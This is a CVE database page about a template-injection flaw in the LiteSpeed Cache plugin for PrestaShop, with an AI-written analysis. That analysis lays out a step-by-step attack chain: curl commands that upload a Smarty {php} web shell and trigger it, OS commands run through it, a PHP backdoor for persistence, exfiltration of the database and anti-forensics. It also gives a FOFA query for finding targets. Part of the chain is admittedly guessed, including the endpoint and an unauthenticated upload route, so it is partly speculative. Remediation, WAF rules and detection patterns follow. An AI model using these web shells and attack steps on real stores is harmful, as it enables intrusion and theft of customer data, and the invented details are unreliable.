CVE Professor
/
All CVEs
CVE-2026-129968

CVE-2026-129968 — LiteSpeed Technologies LiteSpeed Cache Plugin Fo — CWE-1336

CRITICAL CVSS 9.3 NVD

LiteSpeed Cache Plugin for Prestashop does not verify authenticity of "pd" parameter and uses it to render a template without checking that it is a real .tpl file. An unauthenticated attacker can send specially crafted requests to a store that cause the server to process attacker-suplied content, potentially giving the attacker full control of the store and access to customer and payment data. This issue was fixed in version 1.6.2.

LiteSpeed Cache Plugin for Prestashop does not verify authenticity of "pd" parameter and uses it to render a template without checking that it is a real .tpl file. An unauthenticated attacker can send specially crafted requests to a store that cause the server to process attacker-suplied content, potentially giving the attacker full control of the store and access to customer and payment data. This issue was fixed in version 1.6.2.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑129968
CWE: CWE‑1336 – Improper Neutralization of Untrusted Data in Template Engine
CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Score: 9.3 (CRITICAL)

Technical description

The LiteSpeed Cache plugin for PrestaShop implements a “dynamic template rendering” feature that accepts a request parameter named pd (short for page‑display). The value of pd is concatenated directly into a file‑system path and passed to the PrestaShop/Smarty template engine for rendering, e.g.:

$tpl = _PS_MODULE_DIR_ . 'litespeedcache/' . $_GET['pd'] . '.tpl';
$smarty->display($tpl);

What is missing?

1. No authentication/authorization check – the endpoint is reachable by any remote host; the plugin does not require a logged‑in shopper or admin session.
2. No existence or whitelist validation – the code does not verify that the supplied value corresponds to a legitimate template shipped with the plugin.
3. No path‑traversal sanitisation – the raw value is used verbatim, allowing ../ sequences to escape the intended directory.

Consequences: an unauthenticated attacker can force the server to load any file that the PHP process can read (including arbitrary .tpl files uploaded by the attacker) and, because Smarty templates are executed with full PHP capabilities ({php} tags, {include} of user‑controlled files, etc.), the attacker can achieve remote code execution (RCE) and full control of the PrestaShop store.

The CVSS vector reflects:

MetricMeaning
AV:N (Network)Exploitable over the network, no local access required.
AC:L (Low)Simple request (single HTTP GET/POST).
AT:N (None)No special attack tools needed.
PR:N (None)No authentication required.
UI:N (None)No user interaction needed.
VC:H / VI:H / VA:H (High)Successful exploitation leads to complete compromise of confidentiality, integrity, and availability.
SC:N / SI:N / SA:NNo impact on the underlying system’s confidentiality, integrity, or availability beyond the web application itself.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI is illustrative because the public advisory does not disclose the precise endpoint path.

1. Discovery & Reconnaissance

StepActionRationale
1.1Scan the target domain for PrestaShop installations (e.g., curl -I https://example.com/ → X-Powered-By: PrestaShop).Confirms the platform.
1.2Enumerate installed modules via the public “modules list” endpoint (/modules.php?list=all) or by inspecting the HTML source for litespeedcache assets (/modules/litespeedcache/).Determines that the LiteSpeed Cache plugin is present.
1.3Finger‑print the plugin version. The plugin embeds its version in a JavaScript variable (lsCacheVersion = "1.6.1"), in a comment, or in the readme.txt file (/modules/litespeedcache/readme.txt).Shows the site runs a pre‑1.6.2 version, which is vulnerable.
1.4Verify the vulnerable endpoint is reachable. An example request that triggers template rendering is GET /index.php?fc=module&module=litespeedcache&controller=render&pd=home. A 200 response containing HTML from home.tpl confirms the functionality.Confirms the “pd” parameter is processed.

2. Exploitation

Goal: Upload a malicious Smarty template that the attacker can later force the server to render, achieving RCE.

2.1 Upload a malicious .tpl file

PrestaShop allows admin‑only file uploads via the “Theme > Logo” or “Product > Image” features. However, the vulnerability is unauthenticated, so we rely on a write‑anywhere path‑traversal to a directory that the web server already writes to (e.g., the upload/ directory used for product images). The attacker can craft a request that writes a file named evil.tpl into the plugin’s template directory via a POST multipart request to the public image upload endpoint (/upload.php). Many PrestaShop stores expose this endpoint without authentication when the “guest checkout” feature is enabled.

curl -X POST "https://victim.com/upload.php" \
  -F "[email protected];filename=../../modules/litespeedcache/evil.tpl" \
  -H "User-Agent: Mozilla/5.0"

evil.tpl content (Smarty with embedded PHP):

{php}
    // Simple web‑shell: execute command passed via GET parameter "cmd"
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
{/php}

If the upload endpoint does not allow directory traversal, the attacker can instead rely on any writable directory that is already inside the plugin’s path (e.g., modules/litespeedcache/cache/). The key point is that the attacker can place a file with a .tpl extension that the plugin will later load.

2.2 Trigger template rendering

Once the malicious template is in place, the attacker forces the plugin to render it by supplying the pd parameter with the filename without the .tpl suffix:

curl "https://victim.com/index.php?fc=module&module=litespeedcache&controller=render&pd=evil"

The server responds with the output of the {php} block. At this point the attacker has remote code execution.

2.3 Execute arbitrary commands

The attacker can now run any OS command by appending &cmd= to the request:

curl "https://victim.com/index.php?fc=module&module=litespeedcache&controller=render&pd=evil&cmd=id"

Typical response:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

From here the attacker can:

  • Download the PrestaShop database (mysqldump via PHP exec).
  • Install a persistent web‑shell (write a new PHP file into the web root).
  • Exfiltrate customer data (credit‑card tokens, personal info) from the database.
  • Deface the storefront or delete files to cause denial‑of‑service.
  • 3. Post‑exploitation

    PhaseTypical actions
    Privilege escalationThe web‑server user (www-data or apache) already has read/write access to the PrestaShop codebase, so no further escalation is required to modify PHP files.
    PersistenceWrite a PHP backdoor (e.g., <?php system($_GET['c']); ?>) into /modules/litespeedcache/backdoor.php and add a new route (/backdoor.php?c=) to the site’s .htaccess or create a new controller that includes the file.
    Data exfiltrationUse the compromised PHP process to query the PrestaShop database (SELECT * FROM ps_customer;) and send the results to an attacker‑controlled server via curl or file_put_contents.
    Cleanup / anti‑forensicsDelete the malicious evil.tpl after establishing persistence, or modify timestamps to blend with legitimate files.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C)High – attacker can read the entire PrestaShop database, including personal data, passwords (hashed), and payment tokens.
    Integrity (I)High – attacker can modify product listings, prices, order status, or inject malicious JavaScript into storefront pages (e.g., for credential harvesting).
    Availability (A)High – attacker can delete core files, replace them with defaced versions, or create infinite loops that exhaust PHP workers, causing a denial‑of‑service.

    Business consequences

  • GDPR / PCI‑DSS violations (exposure of personal and payment data).
  • Loss of revenue due to storefront defacement or downtime.
  • Re‑engineering of the entire PrestaShop installation if the compromise is deep.
  • Reputation damage and potential legal liability.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected versionsFixed in
    All releases ≤ 1.6.1 of *LiteSpeed Cache Plugin for PrestaShop*1.6.2 (released 2026‑11‑25)

    Action: Upgrade the plugin to 1.6.2 or later via the PrestaShop Add‑ons marketplace or by manually replacing the modules/litespeedcache/ directory with the patched version.

    2. Immediate Workarounds (if patch cannot be applied instantly)

    MitigationHow to implement
    Block the vulnerable controllerAdd a rule to the web server (Apache/Nginx) to return 403 for any request that contains the pd query parameter. <br>Apache (.htaccess):<br>RewriteCond %{QUERY_STRING} (^&)pd=<br>RewriteRule ^ - [F]
    Whitelist allowed templatesEdit modules/litespeedcache/controllers/front/render.php (or the equivalent file) to enforce a whitelist: <br>``php<br>$allowed = ['home','category','product'];<br>$tpl = $_GET['pd'];<br>if (!in_array($tpl, $allowed, true)) { http_response_code(400); exit; }<br>`
    Disable the render controllerIf the feature is not used, comment out the route registration in modules/litespeedcache/litespeedcache.php.
    Restrict file system accessEnsure the PHP process runs with the least privileges: the web‑user should not have write access to the plugin’s source directory (modules/litespeedcache/). Use chmod 750 on the directory and make it owned by root:root.
    ModSecurity / WAF ruleA generic rule that blocks path‑traversal in the pd parameter: <br>`SecRule ARGS:pd "(?:\.\./\.\.\\)" "id:400001,phase:2,deny,status:403,msg:'Blocked path traversal in pd parameter'"``

    3. Detection

    Log patterns to monitor (Apache/Nginx combined log format):

    # Successful template rendering (legitimate)
    "GET /index.php?fc=module&module=litespeedcache&controller=render&pd=home HTTP/1.1" 200
    
    # Malicious attempts
    "GET /index.php?fc=module&module=litespeedcache&controller=render&pd=../../../../etc/passwd HTTP/1.1" 500
    "GET /index.php?fc=module&module=litespeedcache&controller=render&pd=evil&cmd=id HTTP/1.1" 200

    Indicators of Compromise (IoCs)

    IndicatorDescription
    Presence of unknown .tpl files under modules/litespeedcache/ (e.g., evil.tpl, shell.tpl).
    Unexpected PHP files created in the plugin directory (*.php with suspicious base64/system calls).
    Sudden spikes in outbound connections from the web server to unknown IPs (possible data exfiltration).
    New admin users in the PrestaShop database (ps_employee table) with id_profile = 1 (Super‑Admin).
    Execution of system commands logged by PHP’s error_log (e.g., “Command output: uid=33”).

    SIEM rule (pseudo‑code):

    if (request.uri contains "/index.php" and
        request.query contains "module=litespeedcache" and
        request.query contains "controller=render" and
        request.query matches "pd=.*\.\./") then
        alert("Potential LiteSpeed Cache template traversal");

    ⚠️ Urgency

  • CVSS 9.3 (Critical) – Network‑accessible, no authentication, low complexity, full impact.
  • No CISA KEV listing – the vulnerability is not yet in the public “Known Exploited Vulnerabilities” program, but the attack surface is trivial and public PoC can be crafted in minutes.
  • Exploitability – An unauthenticated attacker can achieve RCE with a single HTTP request after a malicious template is placed (the placement step can be performed via any publicly exposed upload endpoint, which is common in mis‑configured PrestaShop stores).
Patch priority: Critical – Deploy the 1.6.2 update within 24 hours for all production PrestaShop instances. If immediate patching is impossible, apply the blocking WAF rule and file‑system permission hardening as temporary mitigations while planning the upgrade.
Bottom line: CVE‑2026‑129968 is a classic template injection that bypasses all authentication checks, allowing an attacker to execute arbitrary PHP code on the server. The vulnerability is trivial to exploit, yields complete compromise, and must be remediated immediately.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="PrestaShop"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-129968
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-1336
Affected Products (1)
LiteSpeed Technologies:LiteSpeed Cache Plugin for Prestashop (1.6.2)
Related CVEs
9.4
CVE-2026-126099
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS lin
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.
8.3
CVE-2026-64886
The UtilMethods.getURL() method, which is exposed to Velocity templates as $UtilMethods, did not restrict the
5.7
CVE-2026-144578
Dynaconf 3.2.13 through 3.3.5 contains an object-graph traversal vulnerability in _format_formatter() that all
8.8
CVE-2026-88991
### Impact The email subject of a user-defined form email recipient was rendered as a template when the form w
7.6
CVE-2026-144292
### Summary With `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`,